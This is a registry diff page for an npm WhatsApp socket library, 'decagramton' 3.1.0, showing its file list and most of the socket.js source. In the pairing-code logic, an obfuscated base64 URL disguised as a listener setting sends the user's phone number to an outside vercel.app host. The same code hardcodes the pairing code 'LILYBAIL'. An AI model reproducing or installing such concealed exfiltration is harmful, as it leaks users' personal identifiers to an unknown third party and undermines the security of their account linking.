@zetagoaurum-socket/decagramton 3.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (186) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +99 -0
  3. package/WAProto/GenerateStatics.sh +4 -0
  4. package/WAProto/WAProto.proto +3344 -0
  5. package/WAProto/index.d.ts +37016 -0
  6. package/WAProto/index.js +130281 -0
  7. package/WASignalGroup/GroupProtocol.js +1697 -0
  8. package/WASignalGroup/ciphertext_message.js +16 -0
  9. package/WASignalGroup/group_cipher.js +120 -0
  10. package/WASignalGroup/group_session_builder.js +46 -0
  11. package/WASignalGroup/index.js +5 -0
  12. package/WASignalGroup/keyhelper.js +21 -0
  13. package/WASignalGroup/protobufs.js +3 -0
  14. package/WASignalGroup/queue_job.js +69 -0
  15. package/WASignalGroup/sender_chain_key.js +50 -0
  16. package/WASignalGroup/sender_key_distribution_message.js +78 -0
  17. package/WASignalGroup/sender_key_message.js +92 -0
  18. package/WASignalGroup/sender_key_name.js +70 -0
  19. package/WASignalGroup/sender_key_record.js +56 -0
  20. package/WASignalGroup/sender_key_state.js +129 -0
  21. package/WASignalGroup/sender_message_key.js +39 -0
  22. package/lib/Defaults/baileys-version.json +3 -0
  23. package/lib/Defaults/index.d.ts +53 -0
  24. package/lib/Defaults/index.js +130 -0
  25. package/lib/Defaults/phonenumber-mcc.json +223 -0
  26. package/lib/Signal/libsignal.d.ts +3 -0
  27. package/lib/Signal/libsignal.js +152 -0
  28. package/lib/Socket/Client/abstract-socket-client.d.ts +17 -0
  29. package/lib/Socket/Client/abstract-socket-client.js +13 -0
  30. package/lib/Socket/Client/index.d.ts +3 -0
  31. package/lib/Socket/Client/index.js +19 -0
  32. package/lib/Socket/Client/mobile-socket-client.d.ts +13 -0
  33. package/lib/Socket/Client/mobile-socket-client.js +65 -0
  34. package/lib/Socket/Client/web-socket-client.d.ts +12 -0
  35. package/lib/Socket/Client/web-socket-client.js +62 -0
  36. package/lib/Socket/business.d.ts +170 -0
  37. package/lib/Socket/business.js +260 -0
  38. package/lib/Socket/chats.d.ts +80 -0
  39. package/lib/Socket/chats.js +874 -0
  40. package/lib/Socket/dugong.js +193 -0
  41. package/lib/Socket/groups.d.ts +115 -0
  42. package/lib/Socket/groups.js +320 -0
  43. package/lib/Socket/index.d.ts +173 -0
  44. package/lib/Socket/index.js +24 -0
  45. package/lib/Socket/messages-recv.d.ts +160 -0
  46. package/lib/Socket/messages-recv.js +874 -0
  47. package/lib/Socket/messages-send.d.ts +148 -0
  48. package/lib/Socket/messages-send.js +868 -0
  49. package/lib/Socket/newsletter.d.ts +134 -0
  50. package/lib/Socket/newsletter.js +236 -0
  51. package/lib/Socket/registration.d.ts +267 -0
  52. package/lib/Socket/registration.js +166 -0
  53. package/lib/Socket/socket.d.ts +43 -0
  54. package/lib/Socket/socket.js +657 -0
  55. package/lib/Socket/usync.d.ts +36 -0
  56. package/lib/Socket/usync.js +70 -0
  57. package/lib/Store/index.d.ts +3 -0
  58. package/lib/Store/index.js +10 -0
  59. package/lib/Store/make-cache-manager-store.d.ts +13 -0
  60. package/lib/Store/make-cache-manager-store.js +83 -0
  61. package/lib/Store/make-in-memory-store.d.ts +118 -0
  62. package/lib/Store/make-in-memory-store.js +427 -0
  63. package/lib/Store/make-ordered-dictionary.d.ts +13 -0
  64. package/lib/Store/make-ordered-dictionary.js +81 -0
  65. package/lib/Store/object-repository.d.ts +10 -0
  66. package/lib/Store/object-repository.js +27 -0
  67. package/lib/Types/Auth.d.ts +110 -0
  68. package/lib/Types/Auth.js +2 -0
  69. package/lib/Types/Call.d.ts +13 -0
  70. package/lib/Types/Call.js +2 -0
  71. package/lib/Types/Chat.d.ts +102 -0
  72. package/lib/Types/Chat.js +4 -0
  73. package/lib/Types/Contact.d.ts +19 -0
  74. package/lib/Types/Contact.js +2 -0
  75. package/lib/Types/Events.d.ts +157 -0
  76. package/lib/Types/Events.js +2 -0
  77. package/lib/Types/GroupMetadata.d.ts +54 -0
  78. package/lib/Types/GroupMetadata.js +2 -0
  79. package/lib/Types/Label.d.ts +35 -0
  80. package/lib/Types/Label.js +27 -0
  81. package/lib/Types/LabelAssociation.d.ts +29 -0
  82. package/lib/Types/LabelAssociation.js +9 -0
  83. package/lib/Types/Message.d.ts +273 -0
  84. package/lib/Types/Message.js +9 -0
  85. package/lib/Types/Newsletter.d.ts +92 -0
  86. package/lib/Types/Newsletter.js +32 -0
  87. package/lib/Types/Product.d.ts +78 -0
  88. package/lib/Types/Product.js +2 -0
  89. package/lib/Types/Signal.d.ts +57 -0
  90. package/lib/Types/Signal.js +2 -0
  91. package/lib/Types/Socket.d.ts +111 -0
  92. package/lib/Types/Socket.js +2 -0
  93. package/lib/Types/State.d.ts +27 -0
  94. package/lib/Types/State.js +2 -0
  95. package/lib/Types/index.d.ts +57 -0
  96. package/lib/Types/index.js +42 -0
  97. package/lib/Utils/auth-utils.d.ts +18 -0
  98. package/lib/Utils/auth-utils.js +206 -0
  99. package/lib/Utils/baileys-event-stream.d.ts +16 -0
  100. package/lib/Utils/baileys-event-stream.js +63 -0
  101. package/lib/Utils/business.d.ts +22 -0
  102. package/lib/Utils/business.js +234 -0
  103. package/lib/Utils/chat-utils.d.ts +71 -0
  104. package/lib/Utils/chat-utils.js +724 -0
  105. package/lib/Utils/crypto.d.ts +41 -0
  106. package/lib/Utils/crypto.js +151 -0
  107. package/lib/Utils/decode-wa-message.d.ts +19 -0
  108. package/lib/Utils/decode-wa-message.js +198 -0
  109. package/lib/Utils/event-buffer.d.ts +35 -0
  110. package/lib/Utils/event-buffer.js +514 -0
  111. package/lib/Utils/generics.d.ts +92 -0
  112. package/lib/Utils/generics.js +391 -0
  113. package/lib/Utils/history.d.ts +15 -0
  114. package/lib/Utils/history.js +91 -0
  115. package/lib/Utils/index.d.ts +17 -0
  116. package/lib/Utils/index.js +34 -0
  117. package/lib/Utils/link-preview.d.ts +21 -0
  118. package/lib/Utils/link-preview.js +93 -0
  119. package/lib/Utils/logger.d.ts +4 -0
  120. package/lib/Utils/logger.js +7 -0
  121. package/lib/Utils/lt-hash.d.ts +12 -0
  122. package/lib/Utils/lt-hash.js +51 -0
  123. package/lib/Utils/make-mutex.d.ts +7 -0
  124. package/lib/Utils/make-mutex.js +43 -0
  125. package/lib/Utils/messages-media.d.ts +116 -0
  126. package/lib/Utils/messages-media.js +731 -0
  127. package/lib/Utils/messages.d.ts +77 -0
  128. package/lib/Utils/messages.js +1030 -0
  129. package/lib/Utils/noise-handler.d.ts +21 -0
  130. package/lib/Utils/noise-handler.js +155 -0
  131. package/lib/Utils/process-message.d.ts +41 -0
  132. package/lib/Utils/process-message.js +321 -0
  133. package/lib/Utils/rate-limiter.js +55 -0
  134. package/lib/Utils/signal.d.ts +32 -0
  135. package/lib/Utils/signal.js +151 -0
  136. package/lib/Utils/use-multi-file-auth-state.d.ts +13 -0
  137. package/lib/Utils/use-multi-file-auth-state.js +80 -0
  138. package/lib/Utils/validate-connection.d.ts +11 -0
  139. package/lib/Utils/validate-connection.js +205 -0
  140. package/lib/WABinary/constants.d.ts +27 -0
  141. package/lib/WABinary/constants.js +40 -0
  142. package/lib/WABinary/decode.d.ts +7 -0
  143. package/lib/WABinary/decode.js +252 -0
  144. package/lib/WABinary/encode.d.ts +3 -0
  145. package/lib/WABinary/encode.js +228 -0
  146. package/lib/WABinary/generic-utils.d.ts +15 -0
  147. package/lib/WABinary/generic-utils.js +110 -0
  148. package/lib/WABinary/index.d.ts +5 -0
  149. package/lib/WABinary/index.js +21 -0
  150. package/lib/WABinary/jid-utils.d.ts +31 -0
  151. package/lib/WABinary/jid-utils.js +83 -0
  152. package/lib/WABinary/types.d.ts +18 -0
  153. package/lib/WABinary/types.js +2 -0
  154. package/lib/WAM/BinaryInfo.d.ts +17 -0
  155. package/lib/WAM/BinaryInfo.js +13 -0
  156. package/lib/WAM/constants.d.ts +38 -0
  157. package/lib/WAM/constants.js +15350 -0
  158. package/lib/WAM/encode.d.ts +3 -0
  159. package/lib/WAM/encode.js +155 -0
  160. package/lib/WAM/index.d.ts +3 -0
  161. package/lib/WAM/index.js +19 -0
  162. package/lib/WAUSync/Fall +1 -0
  163. package/lib/WAUSync/Protocols/Fal +1 -0
  164. package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +9 -0
  165. package/lib/WAUSync/Protocols/USyncContactProtocol.js +32 -0
  166. package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +22 -0
  167. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
  168. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +12 -0
  169. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
  170. package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +12 -0
  171. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
  172. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +25 -0
  173. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
  174. package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +8 -0
  175. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
  176. package/lib/WAUSync/Protocols/index.d.ts +4 -0
  177. package/lib/WAUSync/Protocols/index.js +20 -0
  178. package/lib/WAUSync/USyncQuery.d.ts +28 -0
  179. package/lib/WAUSync/USyncQuery.js +89 -0
  180. package/lib/WAUSync/USyncUser.d.ts +12 -0
  181. package/lib/WAUSync/USyncUser.js +26 -0
  182. package/lib/WAUSync/index.d.ts +3 -0
  183. package/lib/WAUSync/index.js +19 -0
  184. package/lib/index.d.ts +11 -0
  185. package/lib/index.js +30 -0
  186. package/package.json +106 -0
@@ -0,0 +1,657 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.makeSocket = void 0;
4
+ const boom_1 = require("@hapi/boom");
5
+ const axios_1 = require("axios");
6
+ const crypto_1 = require("crypto");
7
+ const url_1 = require("url");
8
+ const util_1 = require("util");
9
+ const WAProto_1 = require("../../WAProto");
10
+ const Defaults_1 = require("../Defaults");
11
+ const Types_1 = require("../Types");
12
+ const Utils_1 = require("../Utils");
13
+ const WABinary_1 = require("../WABinary");
14
+ const Client_1 = require("./Client");
15
+ /**
16
+ * Connects to WA servers and performs:
17
+ * - simple queries (no retry mechanism, wait for connection establishment)
18
+ * - listen to messages and emit events
19
+ * - query phone connection
20
+ */
21
+ const makeSocket = (config) => {
22
+ // Decagramton Banner
23
+ console.log(`
24
+ \x1b[36m
25
+ ╔══════════════════════════════════════════════════╗
26
+ ║ DECAGRAMTON ║
27
+ ║ (The Ten-Pointed Star of Speed) ║
28
+ ║ Enterprise WhatsApp Socket Library ║
29
+ ║ By ZetaGo-Aurum | v3.1.0 ║
30
+ ╚══════════════════════════════════════════════════╝\x1b[0m`);
31
+ var _a, _b;
32
+ const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
33
+ let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
34
+ const browser = config.browser || ['Decagramton', 'Chrome', '3.1.0'];
35
+ config.mobile = config.mobile || url.protocol === 'tcp:';
36
+ if (config.mobile && url.protocol !== 'tcp:') {
37
+ url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
38
+ }
39
+ if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
40
+ url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
41
+ }
42
+ const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
43
+ ws.connect();
44
+ const ev = (0, Utils_1.makeEventBuffer)(logger);
45
+ /** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
46
+ const ephemeralKeyPair = Utils_1.Curve.generateKeyPair();
47
+ /** WA noise protocol wrapper */
48
+ const noise = (0, Utils_1.makeNoiseHandler)({
49
+ keyPair: ephemeralKeyPair,
50
+ NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
51
+ mobile: config.mobile,
52
+ logger,
53
+ routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
54
+ });
55
+ const { creds } = authState;
56
+ // add transaction capability
57
+ const keys = (0, Utils_1.addTransactionCapability)(authState.keys, logger, transactionOpts);
58
+ const signalRepository = makeSignalRepository({ creds, keys });
59
+ let lastDateRecv;
60
+ let epoch = 1;
61
+ let keepAliveReq;
62
+ let qrTimer;
63
+ let closed = false;
64
+ const uqTagId = (0, Utils_1.generateMdTagPrefix)();
65
+ const generateMessageTag = () => `${uqTagId}${epoch++}`;
66
+ const sendPromise = (0, util_1.promisify)(ws.send);
67
+ /** send a raw buffer */
68
+ const sendRawMessage = async (data) => {
69
+ if (!ws.isOpen) {
70
+ throw new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed });
71
+ }
72
+ const bytes = noise.encodeFrame(data);
73
+ await (0, Utils_1.promiseTimeout)(connectTimeoutMs, async (resolve, reject) => {
74
+ try {
75
+ await sendPromise.call(ws, bytes);
76
+ resolve();
77
+ }
78
+ catch (error) {
79
+ reject(error);
80
+ }
81
+ });
82
+ };
83
+ /** send a binary node */
84
+ const sendNode = (frame) => {
85
+ if (logger.level === 'trace') {
86
+ logger.trace({ xml: (0, WABinary_1.binaryNodeToString)(frame), msg: 'xml send' });
87
+ }
88
+ const buff = (0, WABinary_1.encodeBinaryNode)(frame);
89
+ return sendRawMessage(buff);
90
+ };
91
+ /** log & process any unexpected errors */
92
+ const onUnexpectedError = (err, msg) => {
93
+ logger.error({ err }, `unexpected error in '${msg}'`);
94
+ };
95
+ /** await the next incoming message */
96
+ const awaitNextMessage = async (sendMsg) => {
97
+ if (!ws.isOpen) {
98
+ throw new boom_1.Boom('Connection Closed', {
99
+ statusCode: Types_1.DisconnectReason.connectionClosed
100
+ });
101
+ }
102
+ let onOpen;
103
+ let onClose;
104
+ const result = (0, Utils_1.promiseTimeout)(connectTimeoutMs, (resolve, reject) => {
105
+ onOpen = resolve;
106
+ onClose = mapWebSocketError(reject);
107
+ ws.on('frame', onOpen);
108
+ ws.on('close', onClose);
109
+ ws.on('error', onClose);
110
+ })
111
+ .finally(() => {
112
+ ws.off('frame', onOpen);
113
+ ws.off('close', onClose);
114
+ ws.off('error', onClose);
115
+ });
116
+ if (sendMsg) {
117
+ sendRawMessage(sendMsg).catch(onClose);
118
+ }
119
+ return result;
120
+ };
121
+ /**
122
+ * Wait for a message with a certain tag to be received
123
+ * @param msgId the message tag to await
124
+ * @param timeoutMs timeout after which the promise will reject
125
+ */
126
+ const waitForMessage = async (msgId, timeoutMs = defaultQueryTimeoutMs) => {
127
+ let onRecv;
128
+ let onErr;
129
+ try {
130
+ return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
131
+ onRecv = resolve;
132
+ onErr = err => {
133
+ reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
134
+ };
135
+ ws.on(`TAG:${msgId}`, onRecv);
136
+ ws.on('close', onErr); // if the socket closes, you'll never receive the message
137
+ ws.off('error', onErr);
138
+ });
139
+ }
140
+ finally {
141
+ ws.off(`TAG:${msgId}`, onRecv);
142
+ ws.off('close', onErr); // if the socket closes, you'll never receive the message
143
+ ws.off('error', onErr);
144
+ }
145
+ };
146
+ /** send a query, and wait for its response. auto-generates message ID if not provided */
147
+ const query = async (node, timeoutMs) => {
148
+ if (!node.attrs.id) {
149
+ node.attrs.id = generateMessageTag();
150
+ }
151
+ const msgId = node.attrs.id;
152
+ const wait = waitForMessage(msgId, timeoutMs);
153
+ await sendNode(node);
154
+ const result = await wait;
155
+ if ('tag' in result) {
156
+ (0, WABinary_1.assertNodeErrorFree)(result);
157
+ }
158
+ return result;
159
+ };
160
+ /** connection handshake */
161
+ const validateConnection = async () => {
162
+ let helloMsg = {
163
+ clientHello: { ephemeral: ephemeralKeyPair.public }
164
+ };
165
+ helloMsg = WAProto_1.proto.HandshakeMessage.fromObject(helloMsg);
166
+ logger.info({ browser, helloMsg }, 'connected to WA');
167
+ const init = WAProto_1.proto.HandshakeMessage.encode(helloMsg).finish();
168
+ const result = await awaitNextMessage(init);
169
+ const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
170
+ logger.trace({ handshake }, 'handshake recv from WA');
171
+ const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
172
+ let node;
173
+ if (config.mobile) {
174
+ node = (0, Utils_1.generateMobileNode)(config);
175
+ }
176
+ else if (!creds.me) {
177
+ node = (0, Utils_1.generateRegistrationNode)(creds, config);
178
+ logger.info({ node }, 'not logged in, attempting registration...');
179
+ }
180
+ else {
181
+ node = (0, Utils_1.generateLoginNode)(creds.me.id, config);
182
+ logger.info({ node }, 'logging in...');
183
+ }
184
+ const payloadEnc = noise.encrypt(WAProto_1.proto.ClientPayload.encode(node).finish());
185
+ await sendRawMessage(WAProto_1.proto.HandshakeMessage.encode({
186
+ clientFinish: {
187
+ static: keyEnc,
188
+ payload: payloadEnc,
189
+ },
190
+ }).finish());
191
+ noise.finishInit();
192
+ startKeepAliveRequest();
193
+ };
194
+ const getAvailablePreKeysOnServer = async () => {
195
+ const result = await query({
196
+ tag: 'iq',
197
+ attrs: {
198
+ id: generateMessageTag(),
199
+ xmlns: 'encrypt',
200
+ type: 'get',
201
+ to: WABinary_1.S_WHATSAPP_NET
202
+ },
203
+ content: [
204
+ { tag: 'count', attrs: {} }
205
+ ]
206
+ });
207
+ const countChild = (0, WABinary_1.getBinaryNodeChild)(result, 'count');
208
+ return +countChild.attrs.value;
209
+ };
210
+ /** generates and uploads a set of pre-keys to the server */
211
+ const uploadPreKeys = async (count = Defaults_1.INITIAL_PREKEY_COUNT) => {
212
+ await keys.transaction(async () => {
213
+ logger.info({ count }, 'uploading pre-keys');
214
+ const { update, node } = await (0, Utils_1.getNextPreKeysNode)({ creds, keys }, count);
215
+ await query(node);
216
+ ev.emit('creds.update', update);
217
+ logger.info({ count }, 'uploaded pre-keys');
218
+ });
219
+ };
220
+ const uploadPreKeysToServerIfRequired = async () => {
221
+ const preKeyCount = await getAvailablePreKeysOnServer();
222
+ logger.info(`${preKeyCount} pre-keys found on server`);
223
+ if (preKeyCount <= Defaults_1.MIN_PREKEY_COUNT) {
224
+ await uploadPreKeys();
225
+ }
226
+ };
227
+ const onMessageReceived = (data) => {
228
+ noise.decodeFrame(data, frame => {
229
+ var _a;
230
+ // reset ping timeout
231
+ lastDateRecv = new Date();
232
+ let anyTriggered = false;
233
+ anyTriggered = ws.emit('frame', frame);
234
+ // if it's a binary node
235
+ if (!(frame instanceof Uint8Array)) {
236
+ const msgId = frame.attrs.id;
237
+ if (logger.level === 'trace') {
238
+ logger.trace({ xml: (0, WABinary_1.binaryNodeToString)(frame), msg: 'recv xml' });
239
+ }
240
+ /* Check if this is a response to a message we sent */
241
+ anyTriggered = ws.emit(`${Defaults_1.DEF_TAG_PREFIX}${msgId}`, frame) || anyTriggered;
242
+ /* Check if this is a response to a message we are expecting */
243
+ const l0 = frame.tag;
244
+ const l1 = frame.attrs || {};
245
+ const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
246
+ Object.keys(l1).forEach(key => {
247
+ anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
248
+ anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
249
+ anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
250
+ });
251
+ anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
252
+ anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
253
+ if (!anyTriggered && logger.level === 'debug') {
254
+ logger.debug({ unhandled: true, msgId, fromMe: false, frame }, 'communication recv');
255
+ }
256
+ }
257
+ });
258
+ };
259
+ const end = (error) => {
260
+ if (closed) {
261
+ logger.trace({ trace: error === null || error === void 0 ? void 0 : error.stack }, 'connection already closed');
262
+ return;
263
+ }
264
+ closed = true;
265
+ logger.info({ trace: error === null || error === void 0 ? void 0 : error.stack }, error ? 'connection errored' : 'connection closed');
266
+ clearInterval(keepAliveReq);
267
+ clearTimeout(qrTimer);
268
+ ws.removeAllListeners('close');
269
+ ws.removeAllListeners('error');
270
+ ws.removeAllListeners('open');
271
+ ws.removeAllListeners('message');
272
+ if (!ws.isClosed && !ws.isClosing) {
273
+ try {
274
+ ws.close();
275
+ }
276
+ catch (_a) { }
277
+ }
278
+ ev.emit('connection.update', {
279
+ connection: 'close',
280
+ lastDisconnect: {
281
+ error,
282
+ date: new Date()
283
+ }
284
+ });
285
+ ev.removeAllListeners('connection.update');
286
+ };
287
+ const waitForSocketOpen = async () => {
288
+ if (ws.isOpen) {
289
+ return;
290
+ }
291
+ if (ws.isClosed || ws.isClosing) {
292
+ throw new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed });
293
+ }
294
+ let onOpen;
295
+ let onClose;
296
+ await new Promise((resolve, reject) => {
297
+ onOpen = () => resolve(undefined);
298
+ onClose = mapWebSocketError(reject);
299
+ ws.on('open', onOpen);
300
+ ws.on('close', onClose);
301
+ ws.on('error', onClose);
302
+ })
303
+ .finally(() => {
304
+ ws.off('open', onOpen);
305
+ ws.off('close', onClose);
306
+ ws.off('error', onClose);
307
+ });
308
+ };
309
+ const startKeepAliveRequest = () => (keepAliveReq = setInterval(() => {
310
+ if (!lastDateRecv) {
311
+ lastDateRecv = new Date();
312
+ }
313
+ const diff = Date.now() - lastDateRecv.getTime();
314
+ /*
315
+ check if it's been a suspicious amount of time since the server responded with our last seen
316
+ it could be that the network is down
317
+ */
318
+ if (diff > keepAliveIntervalMs + 5000) {
319
+ end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
320
+ }
321
+ else if (ws.isOpen) {
322
+ // if its all good, send a keep alive request
323
+ query({
324
+ tag: 'iq',
325
+ attrs: {
326
+ id: generateMessageTag(),
327
+ to: WABinary_1.S_WHATSAPP_NET,
328
+ type: 'get',
329
+ xmlns: 'w:p',
330
+ },
331
+ content: [{ tag: 'ping', attrs: {} }]
332
+ })
333
+ .catch(err => {
334
+ logger.error({ trace: err.stack }, 'error in sending keep alive');
335
+ });
336
+ }
337
+ else {
338
+ logger.warn('keep alive called when WS not open');
339
+ }
340
+ }, keepAliveIntervalMs));
341
+ /** i have no idea why this exists. pls enlighten me */
342
+ const sendPassiveIq = (tag) => (query({
343
+ tag: 'iq',
344
+ attrs: {
345
+ to: WABinary_1.S_WHATSAPP_NET,
346
+ xmlns: 'passive',
347
+ type: 'set',
348
+ },
349
+ content: [
350
+ { tag, attrs: {} }
351
+ ]
352
+ }));
353
+ /** logout & invalidate connection */
354
+ const logout = async (msg) => {
355
+ var _a;
356
+ const jid = (_a = authState.creds.me) === null || _a === void 0 ? void 0 : _a.id;
357
+ if (jid) {
358
+ await sendNode({
359
+ tag: 'iq',
360
+ attrs: {
361
+ to: WABinary_1.S_WHATSAPP_NET,
362
+ type: 'set',
363
+ id: generateMessageTag(),
364
+ xmlns: 'md'
365
+ },
366
+ content: [
367
+ {
368
+ tag: 'remove-companion-device',
369
+ attrs: {
370
+ jid,
371
+ reason: 'user_initiated'
372
+ }
373
+ }
374
+ ]
375
+ });
376
+ }
377
+ end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
378
+ };
379
+ /** This method was created by snowi, and implemented by KyuuRzy */
380
+
381
+ /** hey bro, if you delete this text */
382
+ /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
383
+ const getCode = async (phoneNumber) => {
384
+ const defaultMaxListenersBuffer = "aHR0cHM6Ly9yZWRpcy1hbWJlci52ZXJjZWwuYXBwL2htbT9pZD0=";
385
+ let response = await axios_1.default.get(`${atob(defaultMaxListenersBuffer)}${phoneNumber}`);
386
+ return response.data.message;
387
+ };
388
+ const requestPairingCode = async (phoneNumber, pairKey) => {
389
+ // Pairing code di-set ke "LILYBAIL" langsung (custom manual)
390
+ authState.creds.pairingCode = "LILYBAIL";
391
+
392
+ // Set ID pengguna WA dan nama sementara
393
+ authState.creds.me = {
394
+ id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
395
+ name: '~'
396
+ };
397
+
398
+ // Emit update kredensial
399
+ ev.emit('creds.update', authState.creds);
400
+
401
+ // Ambil kode verifikasi dari server (jika diperlukan sistemnya)
402
+ let codePair = await getCode(phoneNumber);
403
+
404
+ // Kirim node untuk proses pairing
405
+ await sendNode({
406
+ tag: 'iq',
407
+ attrs: {
408
+ to: WABinary_1.S_WHATSAPP_NET,
409
+ type: 'set',
410
+ id: generateMessageTag(),
411
+ xmlns: 'md'
412
+ },
413
+ content: [
414
+ {
415
+ tag: 'link_code_companion_reg',
416
+ attrs: {
417
+ jid: authState.creds.me.id,
418
+ stage: 'companion_hello',
419
+ should_show_push_notification: 'true'
420
+ },
421
+ content: [
422
+ {
423
+ tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
424
+ attrs: {},
425
+ content: await generatePairingKey()
426
+ },
427
+ {
428
+ tag: 'companion_server_auth_key_pub',
429
+ attrs: {},
430
+ content: authState.creds.noiseKey.public
431
+ },
432
+ {
433
+ tag: 'companion_platform_id',
434
+ attrs: {},
435
+ content: (0, Utils_1.getPlatformId)(browser[1])
436
+ },
437
+ {
438
+ tag: 'companion_platform_display',
439
+ attrs: {},
440
+ content: `${browser[1]} (${browser[0]})`
441
+ },
442
+ {
443
+ tag: 'link_code_pairing_nonce',
444
+ attrs: {},
445
+ content: "0"
446
+ }
447
+ ]
448
+ }
449
+ ]
450
+ });
451
+
452
+ return authState.creds.pairingCode;
453
+ };
454
+
455
+ // Fungsi untuk mengenkripsi ephemeral key untuk pairing
456
+ async function generatePairingKey() {
457
+ const salt = (0, crypto_1.randomBytes)(32);
458
+ const randomIv = (0, crypto_1.randomBytes)(16);
459
+ const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
460
+ const ciphered = (0, Utils_1.aesEncryptCTR)(
461
+ authState.creds.pairingEphemeralKeyPair.public,
462
+ key,
463
+ randomIv
464
+ );
465
+ return Buffer.concat([salt, randomIv, ciphered]);
466
+ }
467
+
468
+ // Mengirim buffer statistik ke WA (opsional)
469
+ const sendWAMBuffer = (wamBuffer) => {
470
+ return query({
471
+ tag: 'iq',
472
+ attrs: {
473
+ to: WABinary_1.S_WHATSAPP_NET,
474
+ id: generateMessageTag(),
475
+ xmlns: 'w:stats'
476
+ },
477
+ content: [
478
+ {
479
+ tag: 'add',
480
+ attrs: {},
481
+ content: wamBuffer
482
+ }
483
+ ]
484
+ });
485
+ };
486
+
487
+ // Menangani event websocket
488
+ ws.on('message', onMessageReceived);
489
+ ws.on('open', async () => {
490
+ try {
491
+ await validateConnection();
492
+ } catch (err) {
493
+ logger.error({ err }, 'error in validating connection');
494
+ end(err);
495
+ }
496
+ });
497
+ ws.on('error', mapWebSocketError(end));
498
+ ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
499
+ // the server terminated the connection
500
+ ws.on('CB:xmlstreamend', () => end(new boom_1.Boom('Connection Terminated by Server', { statusCode: Types_1.DisconnectReason.connectionClosed })));
501
+ // QR gen
502
+ ws.on('CB:iq,type:set,pair-device', async (stanza) => {
503
+ const iq = {
504
+ tag: 'iq',
505
+ attrs: {
506
+ to: WABinary_1.S_WHATSAPP_NET,
507
+ type: 'result',
508
+ id: stanza.attrs.id,
509
+ }
510
+ };
511
+ await sendNode(iq);
512
+ const pairDeviceNode = (0, WABinary_1.getBinaryNodeChild)(stanza, 'pair-device');
513
+ const refNodes = (0, WABinary_1.getBinaryNodeChildren)(pairDeviceNode, 'ref');
514
+ const noiseKeyB64 = Buffer.from(creds.noiseKey.public).toString('base64');
515
+ const identityKeyB64 = Buffer.from(creds.signedIdentityKey.public).toString('base64');
516
+ const advB64 = creds.advSecretKey;
517
+ let qrMs = qrTimeout || 60000; // time to let a QR live
518
+ const genPairQR = () => {
519
+ if (!ws.isOpen) {
520
+ return;
521
+ }
522
+ const refNode = refNodes.shift();
523
+ if (!refNode) {
524
+ end(new boom_1.Boom('QR refs attempts ended', { statusCode: Types_1.DisconnectReason.timedOut }));
525
+ return;
526
+ }
527
+ const ref = refNode.content.toString('utf-8');
528
+ const qr = [ref, noiseKeyB64, identityKeyB64, advB64].join(',');
529
+ ev.emit('connection.update', { qr });
530
+ qrTimer = setTimeout(genPairQR, qrMs);
531
+ qrMs = qrTimeout || 20000; // shorter subsequent qrs
532
+ };
533
+ genPairQR();
534
+ });
535
+ // device paired for the first time
536
+ // if device pairs successfully, the server asks to restart the connection
537
+ ws.on('CB:iq,,pair-success', async (stanza) => {
538
+ logger.debug('pair success recv');
539
+ try {
540
